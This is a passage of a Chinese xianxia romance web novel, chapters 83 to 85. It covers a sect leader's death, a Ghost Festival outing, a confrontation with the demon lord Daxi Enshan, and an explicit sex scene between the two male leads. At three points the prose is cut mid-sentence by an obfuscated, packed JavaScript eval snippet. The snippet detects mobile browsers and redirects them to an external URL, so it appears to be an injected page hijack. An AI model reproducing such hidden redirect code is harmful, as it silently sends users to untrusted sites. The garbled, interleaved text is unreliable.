尽管这并不能让他的愧疚减少分毫。他甚至想要拢虚狠狠地指着他痛骂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783438|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一顿,也好过现在的煎熬。 拢虚这段时日消瘦了太多。 原本胖得和充气了似的脸如今反倒像是泄了气的皮球,一日比一日干瘪。 “真人你这话可真是……让我情何以堪。” 他眼眶深深地凹陷着,声音也晦涩难闻,“不瞒真人,从小算命先生给我卜的命相便是‘血光凶相,克亲克友,命硬福薄’。我原本是不信的。” “真人啊……北晔这剑宗之地不比你们南泽,我们这地界,刀光剑影,打打杀杀,权利和地位的高椅,那都是人血人肉堆起来的啊。我背负着玄天门走到今天,我真的……做了太多孽了,我做了无数昧良心的事,杀了无数无辜的人。” 拢虚苦笑,“一开始我良心也疼,那时候我劝我自己,这是我不得不做的,我不能心软。可是这么多年,这话说多了……心就真的硬了。” 玉阑音没说话,只静静地听着。 “当我发现我沉迷草菅人命的滔天权利的时候,已经晚了啊。” 拢虚深陷的眼窝似乎有泪光闪烁,“那时候,宿央已经战战兢兢地长大了,我只能努力地用我余下的时间尽力地对他好一些,我想弥补……我并不只是为了托付玄天门,真人,我只是……想见见他,我只是想奢求他原谅我,哪怕只是和我说说话。可是现在……” “怪我啊,真人,怪我。”拢虚道,“这是我应得的报应。” 玉阑音对此并没有搭话。 他只是轻轻地抬起头来,问道:“不过,拢虚,宿央走后,这玄天门下一任掌门……” “玄天门下也有几个有本事的小辈,心性……都比我强,交给他们我也是放心的。” 拢虚叹了口气摆摆手,但似乎对此不甚在意,“不过,元某的确还有一个不情之请,不知当不当讲。” 玉阑音颔首,“但说无妨。” “若是真的到了那时候,若玄天门有难……还望真人看在元某和宿央的面子上,照拂玄天门一二。” 拢虚说着就要起身同玉阑音行礼,却被玉阑音轻轻按下了。 “你我多年交情,宿央……又救我一命。此后玄天门有如十方宗,玉某说到做到。” 玉阑音的声音温和却平稳,却让人不由地安心。 拢虚说不出话来,他只颤抖着,感激地紧紧握着玉阑音细弱的手腕。 元宿央的葬礼结束已久,十方宗前来的吊唁之人早已先后离去,回到了十方宗。 玉阑音和温卓在玄天门待满到头七,这才同拢虚知会一声,道了别。 可是回到十方宗不过三日,玄天门便再度传来了消息—— 玄天门掌门,拢虚,昨夜仙逝了。 依照拢虚临终的遗言,玄天门掌门门下关门弟子泓继,继任掌门之位,主办前掌门拢虚葬礼一事。 掌门与少掌门先后去世,玄天门上下齐悼,不得穿华服,不得吃荤腥,居丧一月。 玉阑音对泓继有印象,那时候他才七八岁的样子,是个喜欢跟在拢虚屁股后面的小古板。 在去玄天门的路上,他想,当时的小孩子……如今大概是百岁有余,定是成了大孩子了。 可是真到了玄天门丧礼上,玉阑音眯着眼睛往面前高台之上看去。 待看清那身穿鸦青丧服身材修长的人至中年的端正男子,他不由地一怔。 哦,原来已经长这么大了。 玉阑音跟在排着队伍的人群之后。 等轮到了他,他轻轻地往棺材里的拢虚胸口上放了一束百合。 他的目光在拢虚身上停顿一瞬。 原来我们已经认识这么久了。 83.燃烧 等到玉阑音再度回到十方宗的时候已经是春夏交接的时候了。 前些日子,云州仙门百家合力阻挡了厌族的进攻。 此时作为难得的休战期,尽管双方皆是风声鹤唳草木皆兵,但实际上又都消停得很,勉勉强强也能算得上是另一种意义上的太平盛世。 十方宗死伤情况还算得上良好。 一众长老缺胳膊缺腿地回来,各自修养了三五日,紧接着就能活蹦乱跳了,可谓是身强体壮。 也多亏了这段时间修士们对云州结界的修修补补,玉阑音最近的身体状况还算平稳。 但是,在善玄的强烈孝心之下,他还是有幸获得了人生中的第一架轮椅。 “……善玄啊。” 玉阑音无奈道,“你敬爱的师尊也不是成了废人,这轮椅……未免也太过兴师动众。” 善玄佯装听不见,强迫地将他按在轮椅上。 “师尊,这轮椅我找克古鲁那小子给安上了个旋机轮,您拨拨轮盘轮椅就能四面八方地走,方不方便?” 玉阑音对他这王婆卖瓜的言行丝毫不感兴趣。 他据理力争:“可是为师的身体真的很健康,也很舒坦,走起路来健步如飞。” 善玄两耳不闻窗外事。 “还有这个靠背,我知道师尊您平日那真是,能躺着绝不坐着,能坐着绝不站着,这不,我专门做了卡扣,您坐累了把这卡扣一调,就能把椅背放倒。厉不厉害?” 玉阑音不愿承认这个功能对他的确是有些吸引力的。 他一双漂亮的杏仁眼盯着那靠背旁的卡扣好一会儿,随后别开眼睛,试图负隅顽抗:“可是我真的……” 善玄“啧啧”了两声。 他脸上作叹惋状,“师尊,我还不了解您?保准我前脚走了,您后脚就得坐上去试试。” 对此,玉阑音的应对方式是大手一挥,一个气浪“砰”一声把善玄推出了屋门,一时间,鸟雀闻声四散而逃。 “滚!” 善玄狼狈地起身,抹了把脸,老老实实忙不失迭地滚了。 不过最终结果倒是如善玄所料。 玉阑音半推半就的,居然真将那轮椅留下了,而且隐隐有要和它合二为一的趋势。 温卓这段时间也不知在忙些什么,忙得脚不沾地,整日见不着个人影儿。 这日,他好不容易得了空回到了虚空山上,看见院子池塘边,坐在轮椅上喂鱼的玉阑音,吓得花容失色。 “阑音!” 他迅速往玉阑音身边去,神情有些惊慌,“怎么了?为何坐上轮椅了?是哪里不舒服了?是站得起来了?” 温卓的一通连环问叫玉阑音哭笑不得。 他拍拍身上撒了的鱼食,站起身来转了一圈,“哪里都挺舒服的。是善玄那小子,送了这么个玩意儿,孝敬老人呢。” 温卓自然也是知道善玄胡来的脾性,听到玉阑音身体无碍,他大松一口气,“那就好。” 低头吻了吻玉阑音含着笑意的一双眼睛,“你吓坏我了。” 玉阑音笑着回吻。 一吻作罢,他拍拍温卓的胳膊,自己乐得自在地往轮椅里一躺,“正好,你回来了,来替我喂喂这些锦鲤,好些日子不在家,连这一池子锦鲤都瘦了。” 温卓轻笑一声,摇摇头。 但是等到真的接过那一大盆鱼食,他还是不由地一愣,“这一盆……全都要喂?” “哦,那倒不是。” 玉阑音道,“这些天也不知道是善玄还是谁搞的,药谷里忽然冒出了好些只野鸡,连飞带跳的,还打鸣儿。这剩下的……就撒到药谷里头喂它们好了。” 温卓一边撒鱼食,一边笑道:“几天没回来,怎么山上居然成了动物园了。” “是啊。” 玉阑音笑盈盈地看着一池锦鲤,“你这几天脚不沾地没白没黑的,即便是修士也不能这么熬身体,老了要落下病根的。” 或许是因为刚从那梦境中出来不久,如今面对玉阑音,温卓一时还没能从年长者的角色中脱离出来。 他近乎习惯性地摸了摸玉阑音的头,笑问:“诅咒我?” “药郎先生——” “长老——” 几声吆喝从很远的地方传来。 温卓和玉阑音遂闻声看去,果不其然,又是那三个小祖宗——克古鲁,君少暄和镜遥。 玉阑音打眼一看,不自觉地叹了口气,转过头去,不语。 “啊!温兄!” 镜遥跑得快,最先见到了温卓,兴奋道,“你回来啦!” 温卓笑着朝他一颔首,随后又朝晚来一步地克古鲁和君少暄也打过了招呼。 “你们这是又来做什么的?” 玉阑音扶额,“天天来,天天来,也不嫌烦。” “嘿嘿,不嫌,不嫌。” 克古鲁听不出好赖话,呲着大牙还在傻乐,“今日这不是七月半了吗,是想来找药郎先生一块儿下山玩去的。” “七月半?” 玉阑音听得一愣,随后许久才眨了眨眼,“哦,中元节了啊。” “是啊,时间过得真快。” 克古鲁道,“上元节的时候正逢战乱,感觉只是眼睛一闭一整的光景,居然就已经是中元节了。” 物是人非啊。 大概是因为话里提到了上元节,玉阑音很难不想起元宿央。 “出去转转也好,”他一顿,“山下大概正‘结鬼缘’、‘施食’呢,倒是也有趣。” 温卓静静地看着玉阑音。 许久,他将鱼食往池塘里再撒了一捧,锦鲤哗啦涌动,拥挤中激起层层水花。 山下。 正如玉阑音所预料的,果真是有不少百姓正在沿街“结鬼缘”。 他们将锡箔折成银锭的形状,沿路焚化,一整条长街尽是一丛丛的火光和团团烟雾。 六个壮丁一组,沿着长长的街道施食放路灯。 一人敲锣,一人打梆,一人提灯笼,一人撒米,一人沿途摆香烛,一人设豆腐和饭团,百步设一处祭品。河道之上飘着纸船,船尾挂着红绿的纸灯。 “这便是鬼节吗?” 君少暄平日不太下山,见到民间的这架势十分错愕,“真是隆重。” “地宫掌赦罪和地狱之门,传闻七月半地官会大开地狱之门,民间做法事超度人间游魂,过鬼门,以求安息。已故先祖亲友过鬼门,回家团圆。” 玉阑音轻声道,“上坟上香,点灯,为亡者照亮归家的路。” 玉阑音还算是个好脸面的人,好歹是没好意思坐着轮椅下山。 此时,河道旁,他极为瘦弱的身形一览无余,在华灯之下,像是风一吹就会散,修长又孤寂。 镜遥眨眨眼睛。 “哦,回家啊。那很好。” 玉阑音转过头,“点灯吗?” 他面色如常,脸上挂着温和的笑意,仿佛方才一闪而过的悲允只是身侧之人不约而同的错觉。 温卓沉默地看他一眼。 微微一颔首,“嗯,点吧。” 不过虽然说着放河灯,最终真正买了灯放进河里的却只有镜遥和玉阑音两人。 玉阑音手上的动作很轻,尽管拿着船样的纸灯却依旧轻飘飘的,像是一生落不到地面的天上飞羽,世间万物俗世凡尘都不能缠住他一分一毫。 他俯下身,只很轻地将小纸船往河道里一推,便双手环抱进袖口,施施然地直起了身、 与走个过场似的玉阑音相比,同样在放河灯的镜遥显然是正式虔诚了些。 他堪称恭恭敬敬地放走纸船,随后双手合十,认真地站立着,也不知是朝着远方飘走的那红绿的小灯许了什么愿。 一愿作毕,就在他睁开眼睛的时候,忽然,河对岸的一道熟悉的青色的身影便落在他的眼中。 镜遥猛地眼眸不由地一缩。他震惊地僵硬片刻,揉了揉眼睛,复而再定睛一看—— 不见了。 心咚咚跳。 他连忙试图去找,可是中元节的河道两侧皆是熙熙攘攘,人叠人人挤人,任凭他眼睛盯得发干了都再没能找到那道身影。 “……温兄。” 镜遥愣愣地盯着对岸,说话却是在问身旁的温卓,“方才……在对岸,你看见我师兄了吗?” 从前青木长老门下的同门师兄,原佰。 尽管如今只能称为前任师兄了吧。 温卓侧目看他一眼。 “没有。” “是吗……”镜遥揉揉僵硬了的鼻子,“可是……真的很像他,一闪而过了的……” “镜兄。” 温卓温和地打断了他,“你看错了。” 须弥之地。 “……大人!不,不,尊主!尊主!尊主恕罪!尊主恕罪!” 原佰跪在大殿之下,抖如筛糠,“我今日只是因为鬼门开,云州结界不稳,才特地去南泽河灯道查看!我是为了挑选进攻时机的尊主!我是真的不知……” “嘘。” 殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794479|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那人的身形隐藏在黑暗处,他轻轻一抬手,大殿四角罩灯同时亮起,将整个大殿映照成暗红的血色,“安静,你太吵了。” 原佰连连说是。 “挑选进攻时机……你倒是上心。” 殿上那人轻轻重复道,近乎嗤笑了一声,“那依你来看,什么时机,才叫好?” 原佰立即抬起头,慌张却恭敬地一拱手。 “尊主,尊主,”他连忙道,“如今云州仙门百家稍显疲态,若您亲自率领我族大举反攻乘胜追击,必然……” 还未等说完,原佰只觉得一道人影猛地靠近。 他还未能有反应,已经被殿上那人单手掐着脖子拎了起来,“嗯?怎么真敢开口教我做事了?你以为你是个什么东西,还敢替本尊做决定?” “……尊主,尊……主饶命……” 原佰脸顷刻涨成了猪肝色,说话也断断续续成了气声,“……尊主,饶命……” “摆清楚你的地位,原佰,本尊最厌恶惹是生非、不知天高地厚之人。” 他话说得又轻又缓,却让原佰惊慌到脸色唰得煞白,汗毛直竖。他松开原佰,甚至极为轻柔地拍了拍他的肩头,“去,把达奚恩山叫来。” 原佰在这喜怒无常的尊主手中捡回一条命,连连跪拜叩谢,“是,尊主。是,尊主。” 语罢,忙不失迭地下去了。 这一夜玉阑音睡得并不踏实。 他没有做梦,但是却一直在醒来。 丑时附近,一声已经放得极轻的开门声果不其然地又将他惊醒了。 玉阑音眯了眯眼看向来人。 他的声音有些疲倦的沙哑,但并不带任何的恼意,在夜色中反而显得缱绻又暧昧,“回来了?” 门口站着的那道人影显然是一僵。 “嗯。怎么还没睡?吵到你了?” “不吵,怪我睡得不踏实。” 玉阑音笑着撑起上半身,倚靠在床头,“忙完了?” 不知是不是因为刚从外面回来,即便已经是夏天,温卓身上却带着薄薄的寒意。 他手一动,将这寒气驱散后才走近玉阑音,“嗯,忙完了。” “真棒。” 玉阑音哄孩子似地夸赞道,拍拍床侧,示意温卓坐下,“他怎么说的?” 黑夜朦胧的月色中,玉阑音温柔的面容是说不清的暧昧,不太齐整的领口隐隐让他展露出一种说不清道不明的色气。 温卓费了些心思才将目光从他净白修长的颈线处一开,喉结不太明显地上下一动。 “玉盘……总共碎裂成三块,一块在西南的水牢阵,一块是汀芷村,另外的最后一块……” 温卓说着,声音越来越小,因为方才还躺得四仰八叉的玉阑音,冷不丁地忽然直起了身。 他笑着在温卓嘴角落下一吻,“嗯,然后呢?” “……还在他手里。” 温卓眼睛直直地盯着玉阑音浅色又带着水光的唇,“我想亲你。” 闻言,玉阑音失笑,甚至是十分纳罕地点了点他的额头。 “怎么忽然这么讲礼貌了?须弥之地民风是这样的么?” 鼻尖萦绕着的似有似无的药香让温卓额角直跳。 他目光沉沉,喉头一紧,难以自抑地将玉阑音做坏事的手捉在手心,顺从着心下火烧的欲望,不由分说地俯身下去。 “嗯……疼……” 玉阑音稀碎的抱怨在唇缝中溢出,“你是狗么……” 温卓再度轻轻咬了咬他的唇,“不是。” 一时之间,寂静的夜里只剩下窸窣的布料摩擦声,唇齿交缠的水声和时不时粗重的喘息声。 两人的衣带不知在何时已经悉数散开,半遮半掩之间摩擦、相碰再分离。 温卓鼻尖上冒着细密的汗珠,粗粝的手顺着玉阑音大开的领口划到腰间。 他喘息着,堪堪地停住了动作,“可以吗。” 温卓忍得浑身都有些战栗,他的眼眸从未如此漆黑却灼热过。 “阑音,”他不住地轻吻玉阑音的唇,“可以吗,阑音。” “嘘。” 玉阑音的下巴紧绷得厉害,却并不显得狼狈,“别问,宝贝。别问。” 身上那人的眼眸一暗。 在接下来的动作之前,他的声音如同一声轻叹,却又是从未有过的郑重和欲望丛生,穿破迷雾一般的过去和未来,划破无尽的夜色,随着一个轻吻,落在玉阑音高度紧张的耳侧。 “阑音,我爱你。” 84.夜雀 玉阑音觉得自己大概已经是死了。 每当他要在释放过后的疲惫中晕倒的时候,就会有一双手敏锐地、发了狠似地将他摇醒。 “别睡,看着我,好孩子,看着我。” 这恶魔的低语时不时响起,活活把玉阑音听得脱了敏。 此时此刻,他只想挥起他结实的臂膀,使满力抡身上这人两巴掌—— 只是很可惜。 他的臂膀并不结实,他也没有一丝力气了。 “宝贝,心肝儿,好一一。” 玉阑音稀里糊涂地念了个遍,声音轻又颤抖,几乎要带上了哭腔,“饶了我吧,饶了为师……疼,疼,轻点……” 温卓这辈子所有的不听话大概都用在了床上。 他的汗珠顺着锋利的下颌线滴在玉阑音的脖颈,同玉阑音的泪水与汗水混作一团。 “不。” 他吻了吻晕头转向的玉阑音,“我不。” 最终,这一晚以玉阑音终于卯足了劲把温卓踹下了床为结局,轰轰烈烈地结束了。 温卓兀自坐在地上,捂着嘴闷闷地发笑。 “解气了?” 玉阑音僵硬地转过身,背朝着温卓,不说话。 温卓凑上前去,笑着勾勾玉阑音的手指。 “……现在还不是动手的时机,玉盘里的厌族之力已经被达奚恩山尽数吸收,他大概是将玉盘和最后的结界碎片融合化成了一物——” “你怎么知道?他告诉你了?” 玉阑音冷嘲热讽地插嘴道,只可惜他的声音早已沙哑得几乎要听不清,也没什么威严,只显得有点可怜。 “……他没说。我从他话里的意思猜的。” 温卓挠了挠他的掌心,柔声道。 此时的玉阑音对于这人的触碰避之如蛇蝎,他猛地甩开温卓的手。 “滚。” 温卓也不恼,又巴巴地凑上去,亲了亲玉阑音无力低垂着的指尖。 “阑音,我会杀光须弥之地整个厌族。然后我要把达奚恩山的头砍下来,送给你当聘礼,好不好?” 玉阑音倦怠到根本提不起兴致应付此时无比亢奋的温卓。 他满口应着,随即又像淬了毒似地喷毒汁,“……果然是近朱者赤近墨者黑,做那厌族尊主刚几天不到,已经要疯得和达奚恩山如出一辙了……” “我不会是他,阑音。” 温卓蹙了蹙眉,“你知道的,我不会。” 闻言,背对着他许久的玉阑音终于动了,他慢慢地转过身。 他的脸上挂着一丝讳莫如深的笑意——尽管不可言说部位的疼痛让这个笑容略显扭曲。 在这笑容的注视之下,温卓终于在今晚第一次僵硬住了。 ……嗯? 他暗中查我? 若要论此事的开端,时间还要倒数到数月之前的那个除夕夜。 那日温卓在玉阑音睡觉后,便轻手轻脚地在正厅的枯树之上取了金雕阑音和白祺,放他们出了门—— 兄弟俩闷了这么久,总该出去透透气,再说,毕竟药谷那么大,即便是真的逮两只兔子……善玄大概也发现不了。 尽管事实是,善玄不光发现了,还口嫌体正地专程在山上养了不少野鸡,专门供这两头饕餮开餐。 而就在温卓放走两只猛禽,回流离所的路上,一个绝对不应该出现在此处的人忽然从天而降拦下了他。 温卓一看清来人,灵力几乎瞬间猛地暴起。 他看向那人的眼眸迸发出一抹暴戾阴恻的暗光,“达奚恩山?” 故作神秘达奚恩山一袭红袍,面上带着大红色恶鬼面具,落地之时手腕上的一串银铃轻声作响。 闻言,他大概是出于诧异地笑了一下,随即便将面具摘下了,“认出我了?那岂不是叫我的乔装显得很没用?” 温卓并不理会他,手腕一翻,当即祭出了自己的寒铁弓,他单手拿着弓,近百斤的寒铁弓在他手里居然显得轻若无物。 弓上了箭,剪尖直直抵在达奚恩山的脖颈处,将皮肤抵出一个微小的弧度。 达奚恩山嗤笑一声,提着面具的手歪歪扭扭向上一举。 “别这么大火气嘛……” 温卓打断了达奚恩山,“你是怎么进的十方宗?” 南泽十方宗宗门规矩,严进宽出,若非佩戴十方宗令牌,任何闲杂人等不得进入。 “怎么进的?” 达奚恩山十分纳罕似地笑了起来,“温兄真是贵人多忘事了,我在十方宗‘求学’的时候,温兄怕不是还没出生?” 温卓眼睛一眯,箭尖再度逼近达奚恩山。 “少废话。” “好,好,不废话,但是……” 达奚恩山好整以暇地伸手,将寒铁弓箭尖推离自己两寸,“诶,这样就好多了嘛。” 温卓没有回话。 他的手臂并没有因为达奚恩山的话松懈任何一分,紧绷得厉害。 “这次来找你,我们明人不说暗话。” 达奚恩山动作十分自然地将面具收进了识海,“我呢,是来策反你的。” 这话离谱又耿直到温卓险些以为自己耳朵是出问题了。 愣怔一瞬,他的嘴角缓缓扬起一个讽刺的弧度,嘴唇一张一闭,“滚。” “哎呀,温兄啊,我是抱着十成十的诚意来的,别这么绝情嘛。” 达奚恩山的语气上扬且欢快,丝毫没有自己的脖颈正在被利器威胁的自觉,“你知道的吧,越高等的厌族越近人形,越擅藏匿厌族气息。那温兄你……” 温卓眼眸一眯。 他知道我的身份。 达奚恩山和蛔虫似的,似乎十分清楚温卓所思所想,“我呢,混迹在全是厌族的须弥之地几百年,见过的厌族没有几千也有几万,我看见你的第一眼,我就知道。” 达奚恩山忽然顶着箭尖逼近温卓,“你就是我要找的人。” “但是太让我失望了……你始终没有一点,哪怕是一丁点的作为高等厌族的自觉。” 达奚恩山叹息道,“幸好你碰上了我,我这人惜才如命……若是不将你策反,我真是每日每夜都要辗转反侧。” 温卓不屑地一笑,“那我请问,厌族尊主大人,你觉得……你是凭什么筹码来和我谈判的?” 达奚恩山挑眉一笑,“就凭……我知道你对玉阑音那点上不得台面的心思。” 他满脸胜券在握的模样,“但这样怎么能够呢?古往今来,云州便是本邦收复番邦,可……谁是本,谁是番?谁定的规矩?” “非我族人其心必异,我这厌族尊主作得名不正言不顺,久而久之便总有宵小之辈妄想倒反天罡。刚开始我倒是挺乐意同他们斗两番,可现在……” 达奚恩山唉声叹气地啧啧两声,“太累了。我不想玩了。” 温卓被面前这人毫无新意长篇大论讲得疲疲惫不堪。 他一步不退,再度冰冷地开口,“滚。” “温卓,你若是归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808934|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回须弥之地,作了厌族尊主,百利而无一害。” 达奚恩山忽然收起了笑容,“你知道,我曾立誓,不杀光云州修士、不搅得云州天翻地覆不成活。可是……你有没有想过,若是云州结界真的出了问题,玉阑音怎么办呢?” 大概是因为话里提到了玉阑音,温卓暗沉的眼眸再度阴恻两分。 “你威胁我?” “哎哟,温兄这话说的,那我哪敢呢。” 达奚恩山一副受了冤枉的样子,虚情假意地连连摆手,“我可没有半点要杀玉阑音的意思啊,早在几百年前他的‘心脏’就落在我手上了,我若是想杀,早就动手了不是?” 达奚恩山笑嘻嘻的,话里话外都没有一丝一毫来谈判之人该有的姿态。 不提玉阑音还好,提到了他,温卓身上极具压迫的灵压几乎是再次迸发。 “温兄啊,有话好好说嘛,先把你的灵力收一收。” 达奚恩山略微喘不上气,一蹙眉,表情不太好地作了个投降状,“你看,无论谁做着厌族尊主,这些年天下如此不太平,云州结界破碎消亡只是时间早晚的事,是不是?” 他说着,停顿片刻,随后轻轻地一勾唇。 “所以,温兄,你为何要抗拒将这权力握在自己手里?” 达奚恩山大概知道自己这番话的重量。 在温卓直勾勾的凝视之下,他十分自在地不动如山。 不过很快,达奚恩山敏锐地察觉到了对面温卓目光的轻微一动。 他当即勾了勾嘴角,“温兄,我知道我们两个人相看两生厌,但是俗话说的好,你帮我,我帮你。各求所需,何乐而不为呢?” 达奚恩山话音落下,两人之间的沉默肆无忌惮地蔓延了许久。 终于,凝滞的空气略微一晃动,是温卓将寒铁弓重重地甩下,“三日。” 达奚恩山颇为愉悦地一挑眉。 哦?松口了? “别说三日,给你十日时间考虑都行。” 他吹了个口哨,如同来时那么悄无声息,他再度化作一团红色的烟雾,隐去了身形,“温兄,须弥之地见。” 温卓目光沉沉地送走了达奚恩山的神识,随后不发一言地将寒铁弓收回了识海。 他思绪有些混沌却又有些亢奋,如此带着一身寒气回到屋内,正逢玉阑音从噩梦中惊醒。 然而,等到温卓真的踏入须弥之地时,已经是将近两个月后了。 尽管温卓从来不是一个自命不凡的人,但是这次,莫名的,他心下隐隐有些预感,这次厌族的进攻来得快去得快,一场如此声势浩大的战争却毫无未雨绸缪的迹象—— 他是冲我来的。 达奚恩山这人是个不折不扣的疯子。 他虽然嘴上说着精诚合作,但是说起话来像是生怕你不恼怒一般,尖酸刻薄到了极致,做的事也是处处触碰人底线的疯狗行当。 摆明一副“你不同意就别怪我们两败俱伤”的精神质匪徒模样。 可是玉阑音是温卓唯一的,也是最终的底线。 云州四方大捷的当晚,温卓从克古鲁那处提了一把罚剑,单身匹马地闯进了须弥之地,血洗夜雀宫。 见一个杀一个,见两个杀一双,比地狱里头的恶鬼更似恶鬼。 当夜,夜雀宫残肢遍地,血流成河。 踏过血河,温卓满脸是血,眼眸烧得通红,一把剑直直指在大殿中央风雨不动安如山的达奚恩山的眉心。 “你找死。” 85.私心 “想什么呢?” 玉阑音笑眯眯地看着出神的温卓,清了清嗓子,问道。 玉阑音不说,温卓自然是不好意思提起自己手起刀落、尸横遍野的登基之路。 他猛地回过神,这才有意识地松开了自己不自觉紧皱的眉头。摇了摇头。 “我知道,你心里有数。” 玉阑音慢慢地直起身子,尽管被身下的疼痛惊得略微一吸气,但他仍旧是身残志坚地在温卓额角落下一个年长者似的温和的吻,“你做什么我都支持你,都喜欢你。放手去做吧。” 话音将落,温卓眼眸倏地一暗。 这转瞬即逝的暗光落在玉阑音眼中,心道一声不好。 “那我先做点别的,师尊让不让?” 温卓身上的薄汗未消,轻轻地翻身上去,贴上玉阑音消瘦瓷白的胸口,“让不让?” 明明是征求的话,但温卓话里话外却没有一丝询问的口吻。 深夜中,他漆黑的瞳孔仿佛蛰伏在丛林深处的猎豹,无比耐心却又波涛汹涌。 玉阑音此时很想一巴掌把他扇飞出去。 但是到底是自己的宝贝,他只好耐着性子道:“滚。” 身上的温卓似乎是愣怔一瞬。 随后玉阑音感觉到这人轻轻将头抵在了他的颈窝,闷闷地笑起来。 玉阑音皮肤薄,身上敏感。脖颈处痒痒的,他烦躁地推了两下,推不动。 他无言地闭了闭眼,“滚开。” 阿弥陀佛,苍天无眼。 这一晚上说的“滚”,真的是比他这辈子上上下下加起来说的都要多,多么失礼! 不过一整个晚上都装聋作哑不听话的温卓此时总算是疏通了耳朵眼。 他吻了吻玉阑音的眼睛,翻身,将他搂在了自己怀里,笑道:“快睡吧,不闹你了。” 玉阑音没有抗拒他的拥抱,在他的怀中轻轻阖上了眼。 他的呼吸声很规律,温卓聚精会神地听了一会儿,想:哦,睡着了。 忽然,那睡着的人在寂静的夜色中幽幽地开了口,“一一。” 险些把温卓吓得一激灵。 “怎么了?” 温卓拍了拍他的头,笑问,“冷不丁的。” “没沐浴。” 黑咕隆咚里,玉阑音幽怨的抱怨轻轻响起,“不舒服,粘,馊。” 温卓一边亲他一边笑。 真是太可爱了。 他的声音中满是未消的笑意,“好好好,去沐浴。” 玉阑音本就昏昏欲睡,此时躺在沐浴的木桶里更是困得晕头转向,直磕头。 温卓任劳任怨地替他清洗身上,目光在扫过他身上大大小小红的紫的吻痕时,很不自在也很不好意思地地摸了摸鼻子。 “一一,是不是还有……一个月,你就百岁了?” 玉阑音忽然睁开了眼。 他的声音有些沙哑,眼睛眨得也慢慢的,面上是藏不住的倦怠。 温卓不知道为什么他会忽然提起这个。 但他只是略微一怔忪,“嗯,整一个月。” 玉阑音重新阖上眸子,头轻轻靠在桶边缘,说话有些含混。 “那你的赐意宴……我这作师尊的可得好好准备准备……” 温卓听得心里发烫,他没忍住俯下身亲了亲玉阑音的唇角。 “师尊,我的法号你想好了吗?” 玉阑音如今真是一听这完蛋孩子叫他师尊就发怵。 他懒洋洋地推了一把温卓,冷哼一声,“想好了也不能告诉你。” 之后两人大概还有一句没一句地聊了些什么。 但是玉阑音记不清了。 他的身体本就不算康健,如今受了累熬了夜,强撑着同温卓扯皮了半个晚上已经是奇迹。 等到他终于从一片混沌中恢复清醒睁开眼时,已经是第二天午时。 “醒了?” 温卓的眼睛简直是一天十二个时辰都粘在玉阑音身上,此时玉阑音不过是呼吸的频率略有变化,坐在一旁桌几旁的温卓已经直勾勾地盯了过来。 玉阑音头晕脑胀得厉害,身上某些部位隐隐作痛的感觉也不好受。 他的声音干哑得厉害,“嗯。” 好在温卓很有眼力见地递过来一盏清茶。 玉阑音睨他一眼,抿一口茶,道:“无事献殷勤,非奸即盗。” 温卓满脸无奈地拍了拍玉阑音的额头,“无端揣测人是非。” “确实是有事,但算不上是急事,”温卓道,“克古鲁方才同我传话,前些日子山桂联系他回札布萨一聚,还特地嘱咐,最好是叫上我,也叫上你。” 玉阑音一顿。 “如今正值夏日,札布萨不值酷寒日,又想到你也有年头没回去,我便应下了。” 温卓道,“你若是不舒服,不想去,便不去了。” 玉阑音眯了眯眼,看向窗外,他的声音忽然有些飘远,“没有不想。” 手指若有若无地摩挲着茶碗边缘,“只是……好久没回,居然还有人能念着我,我们。” 或许是察觉到了什么,他忽然回神了一般笑了笑,“不好意思,我是不是太不合时宜了?” 每当谈论起这种话题,玉阑音总会露出像此时一样的古怪又疏离的神情。 尽管这种迹象已经有所好转,但不知是不是因为前段时间元宿央的意外,玉阑音的症状又隐隐有了愈演愈烈的趋势。 “玉阑音。” 温卓忽然十分郑重地叫了玉阑音一声。 话里那人神色如常,只是有些倦意地抬了抬眼眸,“嗯?” “你的爹娘,你的兄长都不是好东西,他们是我杀的。我不想你做云州上仙,你没听,可是我也没能保护好你。”从梦境中出来后,温卓其实很少提起这件事。 他此时的声音称得上冷酷无情,“阑音,你什么都没做错。你是我救的——如果你允许我这么说的话——也是我害的。你要恨就恨我。” 玉阑音望向温卓深沉的眼眸,但是不知是不是温卓的错觉,他总觉得玉阑音有些心不在焉。 不过当下也没有时间骂他不专心了。 温卓一顿,又道:“你可以觉得自己做得不够好,但是你不能觉得自己一无是处——我知道这话你听腻了,但是我还是要说。” 玉阑音依旧是那副兴致缺缺的走神模样。 他忽然道:“温卓,此时,站在厌族尊主的角度上,你后续是作何打算?” 温卓也预料不到这话题为何转变得如此突兀。 但他只是一怔忪,道“假意迎合,瓮中捉鳖。” 玉阑音笑着拧他一眼,“照本宣科。说人话。” 他的眼眸含着意思笑意,像一弯不见底深湖,深不见底但是澄澈无比,不悲不喜,若暴露其中太久便要打寒颤。 